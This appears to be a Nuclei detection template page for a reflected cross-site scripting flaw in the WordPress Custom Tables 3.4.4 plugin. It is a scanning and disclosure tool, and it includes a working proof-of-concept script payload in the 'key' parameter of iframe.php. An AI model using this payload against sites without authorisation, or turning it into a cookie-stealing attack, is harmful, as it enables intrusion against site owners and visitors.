WordPress Custom Tables 3.4.4 - Cross-Site Scripting

ID: wp-custom-tables-xss

Severity: high

Author: daffainfo

Tags: wpscan,wordpress,xss,wp-plugin

Description

WordPress Custom Tables 3.4.4 plugin contains a cross-site scripting vulnerability via the key parameter.

YAML Source

id: wp-custom-tables-xss

info:
  name: WordPress Custom Tables 3.4.4 - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: WordPress Custom Tables 3.4.4 plugin contains a cross-site scripting vulnerability via the key parameter.
  reference:
    - https://wpscan.com/vulnerability/211a4286-4747-4b62-acc3-fd9a57b06252
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-custom-tables-key-parameter-cross-site-scripting-3-4-4/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: wpscan,wordpress,xss,wp-plugin

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/custom-tables/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'custom tables'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/custom-tables/iframe.php?s=1&key=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022038ecd0be27f5c2ac64d1d6c9bacde220891c903fcf4f722b89c7dccc22f0f80a022100b6270888c06f1989aceae1bef6bfc94a38cbaa95785554cf81c3436ae92b762f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-custom-tables-xss.yaml"

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